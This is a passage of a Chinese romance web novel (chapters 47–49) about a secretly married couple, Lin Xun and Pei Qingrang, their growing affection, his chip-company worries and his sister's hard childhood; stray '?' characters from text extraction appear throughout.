不同于第一次的蜻蜓点水,也不像是上次生涩、有一下没一下的碰触, 他独有的气息强势占据所有感官,那种空山雪松林的味道是冷冽的, 偏偏覆下来的嘴唇温热、湿润、柔软到让人心脏发颤。 裴清让修长而骨节分明的手指, 垫在她的脑后?, 防止她碰到身后?的墙 壁, 也轻而易举勾着她的后?脑勺靠近自己, 嘴唇被轻轻吮吸着, 她攥着的黑色领带起?了慌乱的褶皱, 手指却?慢慢失去了力气。 心跳如擂鼓,砰砰砰的声音仿佛敲击在自己的耳膜,目眩神迷。 当相贴的脸颊分开?, 裴清让的手指摩挲着她脸侧的弧度,一瞬的痒意?酥麻如同电流, 林姰睫毛颤抖。 呼吸缱绻交织, 他低声提醒:“还要开?会。” 林姰被他身上孤傲也温柔的气息所迷惑, 又抬高脸颊去啄吻他的嘴唇, 呼吸和声音都潮湿:“昨晚不是还在国外, 怎么突然回来了?” 外套口袋的手机不懂事,突然开?始疯狂震动,消息提示音接二连三响起?。 裴清让的颈窝有很干净清冽的香气, 只不过被衬衫阻隔,林姰额头抵在哪里,心头那只活蹦乱跳的小鹿变得软绵绵的,没有任何?脾气:“你帮我看。” 裴清让从?她的大衣口袋拿出手机。 林姰很懒:“锁屏密码跟你一样。” 何?止是锁屏密码, 手机甚至还是同款。 林姰是真的坦荡,也是真的没有秘密。 裴清让解锁:“是个叫何?川的人。” 林姰:“他说什么?” 裴清让点开?,微低头,刚好在她耳边念出那条信息:“姐姐,你还不回来吗?” 他将手机锁屏放回林姰的口袋,像是重复,也像是故意?这?样叫人:“姐姐?” 清晰的咬字和温热呼吸一起?落在林姰耳边,近乎蛊惑,可这?蛊惑里还有种“你最好解释一下”的危险。 实习生叫她姐姐,她理解为职场的尊称,其?实心里还有点不喜欢,因为腻歪——叫林姰姐或许会好很多。 不知道为什么简简单单的两个字从?裴清让嘴里说出来,就显出让人无法招架的勾人,甚至耳朵尖儿都被撩得发麻。 林姰平复呼吸,那张弧线柔和的脸、脸颊微微泛红,但已经挂上平日里惯常的冷漠:“先出去了,回家见。” 在她的手握上门把手之后?,裴清让握住她的手腕,沉声跟她确认:“你要现?在出去?” 林姰眼眸明亮:“嗯,怎么了吗?” “让你那个异父异母的弟弟,”裴清让点开?手机的前置摄像头递给她,“看到你口红被我亲花的样子??” 林姰拿过他的手机,仔仔细细照了照,她的嘴唇颜色变深,绝不是因为口红的原因。 还好她带了口红,可以掩饰,但还是无可奈何?问了句:“是不是有点明显?” “谁让你那么用力,”裴清让垂眼的时候,深深的双眼皮褶皱配上长长的睫毛简直绝杀,眸光流转,眼底熠熠生光,“我嘴唇都被你亲疼了。” “人家是豌豆公?主,有颗豌豆就睡不着。” 林姰害羞,也想笑,最后?踮起?脚尖在裴清让唇上啄了一记,眼里都是亮晶晶的笑意?:“你是什么公?主?接吻太用力都不行,我以后?轻点儿。”- 下班时间,合作事项细节商讨完毕,一行人走出会议室。 等电梯时,林姰点开?裴清让的对话框:【下班一起?走?】 回信到来之前,电梯门“叮”的一声开?了。 身边传来同事们不约而同倒吸一口冷气的声音,赵然揪住林姰的袖口:“快抬头!” 林姰不明所以,按照赵然说的做,电梯里一众西装精英让“苍梧生男模”这?句话一下子?具象化。 她简直要怀疑苍梧校招社招的标准不是学?历能力而是颜值,尤其?是最后?面那位低头看手机的帅哥,西装外套搭在手臂,白衬衫黑色西装裤,实在是有些太顶。 最前面的苍梧项目负责人颔首:“裴总,谢总,陈总。” 裴清让不笑的时候是真的冷,随便一站就是个毫无争议的冰山帅哥。 一时之间没人先往前走一步,还是他身边的助理帮忙按住开?门按钮:“大家上来吧。” 下午来开?会的人不少?,大家宁可人挨着人挤在一起,也不敢碰到裴清让分毫。 林姰讨厌和人有肢体?接触、讨厌到高中时避开就餐高峰期去食堂吃饭,所以此时她径直走到裴清让身边和他并肩,她的肩膀挨着他的上臂,谁也没有避嫌地往旁边走半步。 何?川微侧着身问林姰:“姐姐,下班高峰期不好打?车,你搭我的车走吧?” 林姰:“不用。” 何川:“那你怎么回家?” 当然是跟我老公?一起?,只是话到嘴边,自动加工为:“搭我高中同学的车。” 何?川:“高中同学?在苍梧上班?” 林姰脸不红心不跳:“是。” 她结婚的事没有对外说,说了就要去人力资源部门登记信息,她不敢想象配偶一栏填上“裴清让”三个字会引起?多大的轰动、之后?又会有多少?麻烦,而且她无论如何?不会生孩子?,就算隐婚一辈子?也没关系。 电梯到一楼,赵然、粥粥跟林姰道别,何?川笑着挥手:“姐姐,明天见。” 林姰走出电梯:“明天见。” 所有人离开?后?,黑色钢铁巨兽缓缓开?到面前。 冷淡英俊的西装帅哥按下车窗,问她:“高中同学?,搭车吗?” 林姰眉眼弯弯:“搭。” 车门带上的瞬间,花香拂过鼻端,林姰看到后?座的漂亮花束,心情大好。 她问:“谁的花?” 裴清让:“我的。” 林姰:“你买的?” 裴清让“嗯”了声。 很难想象,这?么一个高冷拽哥竟然有买花的习惯,经常早上晨跑回来又或者下班回家时,怀里会有一捧花。 林姰不免想到某年的妇女节,妈妈单位给女职工每人送了一束鲜花,那天崔女士是很高兴的,捧着花进门。 她赶紧去找花瓶,爸爸的冷嘲热讽从?身后?传来:“有那钱不如买点油盐酱醋,多大年纪了还买花。” 她一直以为,所有男人都是爸爸这?样的,或者总会有一部分像爸爸的特质。 可是裴清让,跟爸爸一点、一点都不像。 林姰歪头:“送我的吗?” 裴清让发动车子?,散漫开?口,语气并不认真:“送老婆的。” 林姰越看越喜欢,眼角眉梢折出欣喜的弧度:“那就是我的了。” “你不是高中同学?吗,”裴清让淡淡道,“高中同学?之间送花,是不是有点太暧昧了。” 林姰抿了抿唇,语气轻轻地说:“我觉得我们结婚的事情,越少?人知道越好,万一以后?……” 离婚了、分开?了、老死不相往来了,不被人知道,不管对他还是对她,都更好一些。 可不知道为什么,曾经被她挂在嘴边的“离婚”两个字,竟然开?始说不出口。 “明白。”裴清让双眼平静,声音没有情绪。 在得到他的肯定之后?,林姰心脏蓦地下沉。 他那么聪明的人,怎么会听不说她微微停顿、欲言又止,是要说什么。 所以他也这?样认为,对吗? 一时之间车里没有人说话。 裴清让一只手搭在方?向?盘上,另一只手扯松领带,又解开?了两颗扣子?。 冬天天黑得早,车窗上映出他苍白漠然的侧脸。 他没说,刚才在电梯里,在听到男生叫她姐姐的瞬间,他很想牵她的手。 告诉他,她是他的。 可她不是,他也没有资格这?样做。 裴清让可以是林姰的,但林姰永远都只是林姰自己的- 到家的时候,狗狗一如既往等在门口。 看到裴清让的时候,这?只机警聪明的德牧难得愣了一下,反应过来之后?,就开?开?心心扑到他身上,尾巴摇啊摇,是真的喜欢他喜欢得不得了。 林姰的心都要融化掉。 面前一人一狗对视着,裴清让笑着揉了揉狗狗的脑袋:“听说你想我了,嗯?” 他弯着眼睛,嘴角勾着,如果不是衬衫西裤衬得人气势太盛,恍惚间好像看到少?年时的他。 狗狗扒着他的西装裤要抱抱,明明已经威风凛凛、牵出去会吓得别人家小狗哆嗦,在自己的主人面前,还把自己当成刚到这?个家时的小狗宝宝。 裴清让就真的弯下腰,抱住撒娇打 ?滚无所不用其?极的狗狗。 林姰突然觉得,自己也挺想被他抱一下的,而就是念头冒出来的这?一秒,她蓦地意?识到,他们接吻,却?很少?拥抱。 是不是生理性喜欢上头的时候可以接吻、甚至可以做更亲密的事情,但温柔的、治愈的、无关情欲干干净净的拥抱,只会发生在彼此喜欢的人之间。 所以裴清让的拥抱,他最爱的小狗独享。 暖调的光线勾勒出男人温柔的侧脸,眼前一幕过分温情,慢慢契合小时候、林姰幻想过的家的样子?—— 宽敞明亮的房子?,零食无限供应,有可以依靠的人,那个时候她还不知道生育对女性意?味着什么,所以觉得自己还会有个小宝宝,眼下宝宝,是更为可爱的汪星人。 她的心脏柔软,柔软到竖起?的所有防备土崩瓦解,性格里悲观的那一部分冷不丁跑出来,让她在无限接近幸福的此时此刻,忍不住想象幸福远离的那一秒。 如果有一天他们分开?—— 阳台上不再晾晒着他的短袖运动裤,沙发上不会再有他的游戏机,冰箱不会再有字迹锋利的便利贴,花瓶里不会再有时时更换的鲜花,狗狗的小窝会消失不见。 至于裴清让。 她会跟这?个世界上的任何?一个人一样,只能在新?闻发布会又或者手机新?闻上看到他,那个看起?来冷冷淡淡、其?实心脏比谁都柔软的裴清让,她再也不会有资格见到。 “在想什么?”裴清让的声音从?头顶落下。 林姰嘴角弯了弯,摇头:“没想什么。” 话音未落,她毫无防备,被人揽到宽阔的怀里。 裴清让按住她的肩,下巴抵在她的发顶,她的脸颊贴在他的肩窝,呼吸之间是他身上清冽治愈的气息,脑海里不着边际的悲观想象不着痕迹,慢慢消散。 林姰慢半拍,伸手抱住他劲瘦而薄的腰,闷闷问了句:“怎么突然抱我。” 她的声音小,甚至有些小心翼翼。 纯爱是不是会传染,接过吻、摸过腹肌,为什么干干净净的拥抱、会格外让她脸红心跳,她的心脏跳得很快也很重,甚至怀疑,把她拥在怀里的裴清让也能感知到。 而他的声音冷而凝定,像一剂安定:“因为今天只接过吻,都没有好好抱一下。”- 晚饭后?。 裴清让坐在沙发上,衣服已经换成在家穿的短袖运动裤,黑发蓬松柔软落在眉宇。 笔记本电脑放在长腿上,他再次逐字逐句审了一遍自己签下的光刻机合同,没有任何?漏洞。 不止他审核过,这?个合同不知道在苍梧所少?人手中流转过,无一提出异议。 偏有无法言说的不安,不合时宜地冒出来,不知是因为时差没有倒连轴转,还是直觉在给他敲响警钟。 狗狗凑过来,他便合上电脑,语气轻轻问了句:“在家有听她话吗?有好好保护她吗?” 狗狗蹭着他摸它的手作为回应,而后?在他身边找了个舒服的位置窝下来。 裴清让慢慢闭上眼睛。 意?识下坠,陷入无边黑暗,混沌不堪,脑海有个声音格外清晰—— “等回国,我们建立自己的芯片实验室。” “现?在很难,以后?也很难,但是如果我们不难,我们就要一直受制于人、任人欺负。” 那张斯文儒雅的面孔带笑,在眼前慢慢清晰。 裴清让低声:“老师……” 在他出声的那一秒,鲜活的面孔慢慢褪为黑白,最后?变作挂在葬礼上的一张遗照,永远定格他的49岁。 林姰今天洗澡的动作很快,吹头发也有点糊弄。 只不过再快,她出来的时候,裴清让也已经靠在沙发上睡着了。 她的呼吸和步子?都很轻,胸腔的心脏却?如同被什么暖融融包裹着。 男人微仰着头,从?下颌到脖颈、喉结的线条一览无余,那张白皙俊秀的面孔难得见到青色胡茬,有种倦懒的英俊。 狗狗睡在他的身边,身上盖着它的专用小毯子?。 林姰把长发别到耳后?,俯身靠近、闭上眼睛就会浮现?眼前的漂亮面孔。 近到他们身上一样味道的沐浴露交织在一起?,她的嘴唇贴上他的嘴唇,像他今天吻她那样,轻轻含住吮吸着。 裴清让睁开?眼睛,目光并不清明,人有种浅眠醒来的惺忪,鼻尖将触未触的距离,他怕吵醒身边睡着的狗狗,所以说话几乎是气音:“跟高中同学?这?样,不合适吧。” 不给名?分,又要亲我,你是不是有点过分。 林姰捧起?他的下颌,又在他唇上啄了一口,也压低声音跟他讲悄悄话:“很累吗?” 算了,亲就亲吧,你高兴就好。 “嗯。” 裴清让在家都是最舒服随意?的短袖运动裤,完全是少?年人的习惯,不然他这?个身材穿那种真丝质地的睡衣,肩颈、胸肌、窄腰的线条被若有似无勾勒出来,应该会非常……性感。 但相比较而言,她还是喜欢他眼下干净清澈、甚至还有点少?年气的模样,衣服松散,不像正装把人包裹得严严实实,让他看起?来有种可以被肆意?伤害的柔软。 林姰毫不吝啬对他美色的感叹,眼眸剔透一片真心:“原来不是豌豆公?主,是睡美人。” 裴清让:“你就是这?样哄弟弟的?” 林姰:“才没哄过弟弟。” 裴清让嘴角勾着,若有似乎的弧度。 “这?几天是不是没有好好吃饭?” 林姰手指轻轻触碰他眼睛下方?的位置:“好像瘦了,黑眼圈也出来了。” 其?中艰辛被一笔带过,裴清让淡声:“有些忙。” “出差的事情顺利吗?” “订了一台光刻机。” “代工芯片用的?” “对。” 关于芯片禁令,林姰不可能不了解,之前乐游只能用进口芯片,进口厂商坐地起?价、狮子?大开?口都是常有的事情,因为笃定中国没有能打?的芯片,就算涨价,中国企业也会巴巴给他们送钱。 现?在苍梧发展速度跟坐了火箭一样,太意?气风发也太锋芒毕露,国内市场一下被抢走大半,几乎是虎口夺食,很难不被盯上,棘手的是,芯片这?条产业链条太长,又涉及无数个国家,苍梧不具备独立生产芯片的能力。 “苍梧现?在的处境很难吗?” “还好。” 裴清让轻扬眉,半开?玩笑似的说了句:“如果哪天我破产了。” 他心无旁骛地看着她,那双总是意?气风发、仿佛蕴藏着无数希望的眼睛,难得流露出某种困顿的、迷茫的情绪,这?么一个清清淡淡的眼神,却?让林姰的心脏如同被什么猛地刺了一下。 “没关系,”她的手指顺着裴清让流畅的下颌下滑,眼里没有半分笑意?、以至于看起?来很严肃、很认真,“我还攒了点钱,虽然不多,但也有七位数,可以养你。” 她下意?识就这?么说了,可是话出口,自己才觉得不对劲。 那是她攒下来买外婆房子?的钱,自己都不舍得动,每天上班坐地铁,相当艰苦朴素,衣服除了特别喜欢的、很少?买贵的,消费水平跟她的薪资水平非常不匹配。 可她为什么愿意?对裴清让说,我有钱,我养你。 裴清让好看的眉眼弯出一个笑,瞳孔清澈如水。 林姰心脏漏拍,很没出息地想,这?么好看的人,养就养了吧。 他要是还不上,就卖笑还债吧,也不算亏不是。 想到什么,她又叮嘱:“但你不能穿那么贵的衬衫和西装了。” “不穿。” “也不能开?那么贵的车了。” “不开?。” “也不能住这?么贵的房子?了。” “不住。” “还得卖掉那些手表。” “你说了算。” 林姰目光触及裴清让今天新?买回来的、插在花瓶里的花束,非常不常见的色彩搭配,价格肯定也相当美好:“更不能每天买花了。” “得买。” 不知道为什么,听他否决,林姰心头微微一酸。 明明裴清让没有破产,还是那个高高在上的创始人,根本没有穷到需要她养,这?个时刻她竟有种他们是落难夫妻、需要精打?细算过日 子?的错觉,裴清让可以不穿贵得吓死人的西装、不能再开?豪车住豪宅、甚至卖掉所有手表,买给她的花,却?好像决不能少?。 心脏酸软,林姰自己往后?退了一步,弯着眼睛说:“那就只买一支,别买一束了。” 她不知道裴清让正在经历什么。 她只是轻快为他做下决定:“那你就不用有压力了,班随便上一上就可以,大不了回家我养。” “好。” 裴清让的眉眼染了笑意?,对她毫不设防的模样,不见在外半分凛然气势,甚至很纯良无害。 这?人这?几天飞来飞去,连时差都没倒,林姰不免担心:“回来都没倒时差,是有什么要紧事吗?” 裴清让点头:“有要紧事。” “什么?” 她流连在他脸侧、下颌的手,被他轻轻握住了,手背是他的掌心,温暖干燥。 而他偏过头,薄唇印在她手心。 十指连心,那猝不及防的柔软触感让心脏起?了战栗,软成一片。 “不是你说小狗想我了吗?” 他的睫毛怎么那么长,对视的瞬间,好像能扫到她发颤的心尖。 林姰的声音不稳:“所以呢?” “所以我回来了,”裴清让看着她的眼睛,轻声说:“因为我也想我的小狗了。”第48章 第 48 章 小狗咬人 掌心被他吻过, 酥酥麻麻的痒意,顺着血液涌入心脏,心脏绵软一片。 他说的其实不是小狗, 对不对? 在爱里?的长大的孩子会充满底气,没被爱过的则总会怀疑, 除非被坚定选择、被全心全意放在心上?。 横冲直撞如林姰, 此时此刻很想要和裴清让确认, 确认他想的到底是小狗还是她, 她想要亲口听他说。 只是当她垂眸, 对上?那双目光柔软的眼睛, 却体会到一些生理性喜欢之外的东西, 比如心疼。 算起来,从中国时间?的昨晚到现在,裴清让都没有好好休息过, 声音里?的倦意明?显,白净脸庞瘦削, 浓密的睫毛微微垂落, 看着特别?惹人怜爱。 所以她只是轻声开口, 语调柔软:“明?天还上?班吗?” 裴清让淡淡道:“不上?, 在家陪小狗。” 又是小狗。 林姰蹙眉, 终于忍不住:“你就?只想小狗了?吗?” 裴清让目光流转在她的眉眼间?,笑意柔软:“也只有小狗想我不是吗。” 混蛋东西。 林姰忍无可忍,低头去吻他, 吻接过一次就?有无数次,这?个吻发生得自然而然顺理成章。 裴清让坐着,她站着,并不怎么舒服的姿势, 只好一条腿抵到沙发上?,倾身?靠过去,从她喜欢的眼睛,挺直的鼻梁,缱绻而又入迷地吻到嘴角。 下午在会议室不得不中断的亲吻,在此刻延续,寂静的空气里?啄吻声格外清晰,当裴清让捧着她的脸,手摩挲在她耳朵和脸颊交界,温柔而耐心地含住她的唇吮吸,她胸口慢慢被满溢的情?绪挤占,如同整个世界花开,一万只蝴蝶振翅。 支撑着身?体的腿,被他吮吻的嘴唇、以及勾着他脖颈的手指都变得软绵绵失去力气,额头相抵、鼻尖将触未触的距离,林姰呼吸微微带喘:“你说想念一个人是什么感觉?” 是像她现在吗? 他不在心里?发空,他在心里?就?满满当当。 裴清让没有说话,却想到他离开的每一刻—— 飞机飞上?万米高空,他在隔着十几个时区的异国他乡,听的是截然不同的语言,做的是与她毫不相关的事情?。 可总有一个瞬间?,无可救药地想起她- 周六。 难得休息不用上?班,往常林姰都是赖床到十点?,直接起床吃早午饭。 今天她订了?6点?的闹钟,比上?班时起得还要早,她要起床做早饭,睡前已经在网上?找好菜谱,就?等早上?起床实践。 她想裴清让多睡会儿,得了?他太多的照料,心里?过意不去。这?种过意不去不同于欠下人情?不知道怎么还,就?纯粹是,她想要对他好一点?,像他对她那样。 她很快就?收拾好自己走出房间?,密码锁被按下的声音传来。 林姰抬头,和刚刚回来的一人一狗对上?视线,斯文冷峻的黑衣帅哥,威风凛凛、黄黑相间?的赛级德牧,相当吸睛的组合。 “怎么起这?么早?”林姰问。 冬天早晨的六点?多,外面天都没亮。 不得不说,裴清让赚那么多钱都是应该的,这?人自律到异于常人——即使跨国线上?会议开到凌晨三点?,也不耽误他五点?起床跑步六点?回家洗澡七点?做饭八点?准时出门上?班,智商还是努力程度都是碾压常人的级别?。 他俯身?给狗狗解开狗绳,那双修长白皙的手指、关节被冻得微微泛红,显出白瓷的质感。 “因为觉得时间?很宝贵,不舍得用来睡觉。” 裴清让的外套口袋里?有买给林姰的点?心,刚想告诉林姰他手脏、自己拿,他冰凉的手猝不及防被柔软温暖的体温包裹住。 他垂眸,林姰把他的两?只手合在自己掌心,她的发顶刚到他下颌,手也比自己的小很多,现在却企图用自己的手给他暖手,体温透过相贴的肌肤轻易渗透,先热起来的却是他的耳朵尖。 他的呼吸变得很轻,惯常冰冷的嗓音也是:“我手脏,还没洗。” 林姰洁癖程度不亚于他,一天手不知道要洗多少次,恨不能生活在无菌环境里?,所以在生活习惯方?面,他们真的非常契合。 “没关系,我不嫌弃,”眼下,她无所谓而好奇,问他:“今天还有工作吗?为什么不舍得用来睡觉?” 裴清让:“要陪小狗。” 林姰嘴角往下一撇,小狗那么可爱,她不能吃小狗的醋,换做是她出差见不到狗狗,回家肯定也想得要命。 但心尖还是不可抑制浮起一丝羡慕:“陪小狗要这?么争分夺秒吗?抱着它睡就是了。” 裴清让垂眸:“你呢,怎么起这?么早?” 熹微晨光里?,林姰脸部弧度柔和,居家状态里眉眼也没有半分攻击性,显出原本灵动甚至是可爱的神态,她颇为豪迈:“今天早饭我做,你想吃什么?” 裴清让听之任之:“都好。” 林姰忍不住蹙眉,觉得他是在敷衍她:“都好最难了?!你是不是觉得我做什么都一个味道?” 裴清让微俯身?,那双漆黑深邃的眼睛安静看人的时候,能无声给人下蛊,一字一顿告诉她:“都好的意思是,你做的我都喜欢。” 清晰的咬字如同泉水划过耳际,配上?那双清透干净的眼,就?好像说的不是“你做的我都喜欢”,而是“你怎样我都喜欢”。 林姰无力招架,心头小鹿隐隐有苏醒趋势,它跳起来的时候太恐怖、太不讲道理,她根本扛不住,于是说:“我去做饭。” 裴清让的手已经慢慢热了?起来,偏偏在她松手的那一刻,那修长而骨节分明?的手反手握住她的。 她不明?所以抬头看他。 远看惊艳、近看惊艳的一张脸,眉眼五官挑不出任何瑕疵,英俊得太过凌厉。 可当长而浓密的睫毛低垂,那眼神莫名?有点?湿漉漉的、轻易让人心软:“还冷。再牵一会儿。”- 直到裴清让去洗澡,林姰进了?厨房。 假结婚这?么久,厨房对她来说仍然陌生,不是她不好学,是裴清让根本不给她实践的机会。 她忍不住幻想,如果裴清让有小孩,这?人绝对会是非常溺爱孩子的那种家长。 林姰点?开准备好的懒人快手菜谱,按部就?班一个步骤一个步骤往下走,比她高中上?化?学课做实验都认真百倍。 “给我,你上?次差点?切到手。” 裴清让带着一身?清冽的沐浴露味道出现在身?侧,很小心地接过她手里?菜刀、生怕弄伤她。 林姰抿唇:“不是说好我做吗?” 裴清让跟之前一样的说辞:“下次。” 男人身?高近一米九,白色短袖罩着宽肩,单一个干干净净的背影都很让人心动,甚至让她很有从他身?后?抱过去的冲动。 她可以非常坦然地摸他腹肌、和他接吻,大家都是成年人,彼此很合胃口,发展为亲密关系无可厚非,生理性喜欢又不会伤筋动骨。 可是现在,这?种非常纯情?的、想要拥抱、想要靠近的冲动,让 她觉得悸动,因为没有理由的拥抱,要比接吻还要亲密一万倍。 如果他们就?这?么过下去,会不会某个早上?醒来的清晨,是他在准备饭菜,而她从他的身?后?抱住他。他们或许会说些没有营养的废话,或许会在对视的瞬间?接吻,像这?个世界上?任意一对普通平凡的真正夫妻,一不小心就?是一辈子。 她神游天外的瞬间?,屏幕里?的“懒人快手菜谱”,已经有了?非常漂亮的色泽和让人食指大动的香气。 林姰不免感叹:“你在麻省理工学的烹饪?” 裴清让轻扬眉:“因为要照顾家里?的高中生。” 林姰想起第一次见面,裴樱告诉她,如果哥哥不会做饭,他们俩就?饿死了?。 放在中岛台的手机突然震动,裴清让扫了?眼,对林姰说:“裴樱电话,麻烦帮我接下。” 林姰按下接听,裴樱元气满满:“哥哥哥!爆点?金币!不然你妹妹又要去捡瓶子啦!” “不会让你捡瓶子的,”裴清让低声跟林姰说,“帮我转账,密码跟锁屏密码一样。” 裴樱:“哥哥你在干嘛?姐姐在旁边吗?” 裴清让:“做饭。” 林姰跟妹妹打过招呼,又问裴清让:“你的密码就?这?样告诉我了??” 裴清让漫不经心:“怎么了?。” 林姰摇头,颇为无奈:“还好你是遇到我这?样的好人了?。” 裴清让嘴角轻轻牵起,弧度很漂亮:“我也觉得。” 林姰按下转账数字和密码:“你对‘0601’这?几个数字真是情?有独钟。” 裴清让懒洋洋回了?句:“小时候没有童年,最羡慕小朋友过六一。” 钱转过去的下一秒就?被接收:“谢谢亲哥!这?下我不用捡瓶子了?!” “捡瓶子”是当下年轻人的“梗”吗?她不免疑惑:“捡瓶子?” 裴清让语气很淡:“我俩没人管的时候,裴樱来学校等我放学,真的在篮球场旁边捡过瓶子。” 心脏猝不及防被针扎到一般,细细密密的疼有如实质。 裴樱看起来完全就?是一颗阳光饱满的小太阳,说是娇生惯养的大小姐也有人信。 小时候竟然是这?样的吗?唇腭裂 、父母离婚、和哥哥相依为命,是家里?有多困难,那么小就?知道去捡瓶子。 裴清让真的把妹妹养得很好,因为和不苟言笑、冷淡肃杀的哥哥对比鲜明?,妹妹眉眼间?仍有种不谙世事的天真,像是从来没有吃过苦。 林姰若有所思:“高中的时候我都不知道你有妹妹。” 裴清让:“因为她怕别?人嘲笑我,要走出学校很远,才敢跑过来拉她亲哥的手。” 裴樱出生的时候先天唇腭裂,本就?爱慕虚荣的妈妈因此成为“塑料姐妹”们茶余饭后?的笑料,他永远忘不了?,那个精致冷漠的女人在看到自己女儿后?,发出了?如何撕心裂肺的尖叫,她求着爸爸扔掉裴樱、把她送到孤儿院,说不要看到一张如此丑陋恐怖的脸。 是他去把妹妹带回来的。 裴樱从小就?知道自己不被喜欢,在自己家也小心翼翼,生怕做错一点?事情?,父母离婚之后?,只剩他们相依为命,他租的是学校附近的地下室,隔成两?间?,条件简陋得不像话,妹妹却说好开心。 妹妹知道自己打工辛苦,所以在等自己放学的时候,总会把篮球场旁边的瓶子都捡起来,攒了?卖钱。 那天是六月一日?,儿童节,林姰的生日?。 他准备了?礼物,却没有一个理由送给她,其实没有什么,就?是一把黑色雨伞,足够坚固。 下楼的时候看到她来到篮球场,蒋政跑到她身?边:“我妈说晚上?一起吃饭,已经订好包厢和蛋糕。” 在他们身?后?,有一个小小的身?影。 她戴着儿童口罩,手里?拿着好大的黑色塑料袋,把瓶子一个一个装到袋子里?。 有人冷脸,有人嘲笑,有人好奇,她的眼里?只有她的瓶子。 他走过去的时候,裴樱只是看他一眼:“哥哥,你也有空瓶子吗?” “裴樱?” 她没有理他,把塑料袋系好,拎在手里?。 一直到校门口,她才笑着过来拉他的手。 也是那个瞬间?,裴清让觉得自己很混账。 他在奢望些什么,不自量力什么,痴心妄想什么。 …… 现在,她近在咫尺。 他淡声交代:“粥还要再煮一会儿。” 林姰点?头。 似乎裴清让身?上?的每个角色都被他消化?得很好。 是为妹妹撑起整个家的哥哥,是苍梧值得信任可以托付的老大,甚至在导师去世后?主动承担盛秋云的赡养义务、是知恩图报有情?有义的学生和晚辈。 是她挑不出一点?瑕疵的结婚对象,温柔、知分寸、看似对一切都漠然实则内心细腻。 可是她好像跟他是两?个极端——是不被喜欢的女儿,是天天想要辞职的牛马,是冷漠如同刺猬的结婚对象。 林姰抿唇,很真挚地说:“我经常会觉得,跟我结婚对你来说很不公平。” 裴清让眼神询问为什么。 林姰笑,用开玩笑的语气说真心话:“因为我觉得我一直在占你便宜。” 也并非是她“觉得”,事实就?是如此,说是“合租”,她转给他的钱他从没收过。 林姰继续说:“两?个人结婚,要么提供经济价值,要么提供情?绪价值,所以我觉得一直都是你在单方?面付出,我经济价值不如你,情?绪价值也没提供过。” 裴清让垂眸,冰冷的声线柔软,没有半分漫不经心,而是非常认真的:“你在就?很好。” 那清越干净的嗓音,说什么都像是说情?话,一字一顿告诉她:“便宜你也可以一直占下去,只要你想。” 林姰心跳凝滞,耳边却猝不及防响起妹妹的声音:“啊啊啊我的天我哥竟然会说情?话!磕到了?磕到了?!” 她低头才发现电话还没有挂断,在她不知道怎样时,妹妹“嘿嘿”一笑:“我不当电灯泡了?你们继续!” 妹妹挂断电话,手机返回语音打来前的微信界面。 林姰没有偷看别?人隐私的癖好,却在这?个瞬间?目光顿住。 裴清让的聊天界面非常干净,联系人寥寥几个,在这?其中她的狗狗头像格外醒目,因为被他置顶、在所有聊天窗口的最上?方?,所以根本无法忽视。 备注不是名?字,而是——【我的小狗】。 ——“晚安,我的小狗。” ——“所以我回来了?,因为我也想我的小狗了?。” ——“在家陪小狗。” 所以,他说的是她。 他想的,想他的,全部都是她。 铁证如山,根本不容任何反驳。 胸腔的心脏,如同一朵被阳光晒得暖融融的云,轻盈柔软,快要变成棉花糖。 林姰咬住上?扬的嘴角,把手机举高到裴清让面前。 裴清让颇为无辜地眨眼:“怎么了?。” 林姰气势汹汹,毫无震慑力,只有恃宠而骄的可爱:“谁是小狗?” 被当面戳穿所有,裴清让仍然坦荡:“那几天我不在,给我打电话的是小狗。” 林姰想要假装生气,可是眼睛藏不住明?晃晃的笑意,甚至脸颊还有耳朵都有些发烫。 裴清让居高临下看着她,眼睛微微弯:“小狗害羞。” 林姰恼羞成怒虚张声势:“我才没有害羞!” 裴清让忍俊不禁,逗人的时候眉眼间?透着蓬勃的少年气,特别?动人:“嗯,小狗生气。” 他笑起来的样子太好看。 林姰想要吻他,就?现在。 只需要目光相对,就?能清楚彼此的想法。 林姰手搭在裴清让的肩膀的时候,裴清让弯腰将她抱了?起来。 她所有的重量都压在他坚硬有力手臂上?,而她的腿在他腰侧。 这?样被他抱着,她比他还要高出一点?点?,看他是 个俯视视角。 男人额前黑发松软,看起来光泽度很好,剑眉乌黑清晰,眉骨和鼻梁都挺拔,嘴角牵起的弧度好漂亮。 林姰的手臂收紧,抱住他的脖颈,清冽的沐浴露味道交织,香气明?明?是很隐私的东西,可他们身?上?是一样的香气。 她为他眼睛里?清澈明?亮的纵容深深着迷。 鼻尖相抵,嘴唇触碰到彼此的瞬间?,林姰听见他轻笑着吐字—— “小狗咬人。” 冬日?柔和的光线里?,他们耳鬓厮磨,接了?一个温柔而绵长的吻。 久到煮着的粥跳到保温键,空气里?的浮尘都被染成金灿灿的颜色。 林姰埋在裴清让肩窝平复呼吸,嘴唇被吮到发麻,脸颊又烫又软根本没法看,耳朵已经红到滴血。 她听见裴清让轻轻开口,压低的嗓音不似往常清越:“你不是问我想念一个人是什么感觉吗?” 那清浅的呼吸落在耳廓,带起难以言说的悸动,而他在耳边语气温柔地说:“大概是,只敢以小狗的名?义说想她。”第49章 第 49 章 他喜欢你 裴清让余光瞥见, 煮好的粥已经跳到保温键。 他揉了揉埋在?自己颈窝的脑袋,温声提醒:“吃饭了。” 林姰抱着他的脖颈不放。 她的瞳仁比一般人黑、也大,平日透着勃勃生机和野心?, 平静也锐利,可仔细看, 她的内眼角其实是圆钝的, 眼尾也微微下垂, 此时此刻尽是没有掩饰的依赖, 眼神格外柔软。 她抿了抿嘴唇, 小声说:“还想再亲一下。” 她喜欢他身?上雪后松林的清冷香气, 喜欢和他鼻息纠缠缱绻交错, 喜欢他性格冷脾气硬但是嘴唇特别特别软、含住她的温柔厮磨,很照顾她的感受。 胸腔满溢的不知?名的情绪,因?为确认裴清让也想她, 变成绵绵密密的甜,暖融融裹在?心?尖, 如同一层蜜糖。 裴清让眼尾微微弯, 逗小孩儿似的、学她说话:“还想再亲一下?” 她被裴清让抱着所以比他高一点, 男人仰起脸, 眉眼漂亮得惊人, 瞳孔特别亮,五官每道线条都像是精心?雕琢过的,完美到没有任何瑕疵:“谁还想再亲一下?” 林姰搂住他脖颈的手, 有一下没一下摩挲他已经红透的耳朵,纯情似乎也会传染,她的声音渐小:“林姰还想再亲一下。” 裴清让好整以暇,用清澈无辜的眼神折磨她:“林姰还想被谁亲一下?” 林姰觉得他幼稚, 幼稚出了可爱的少年气,特别戳人特别让人心?动,她害羞,也想笑,目光顺着男人的鼻梁骨向?下。 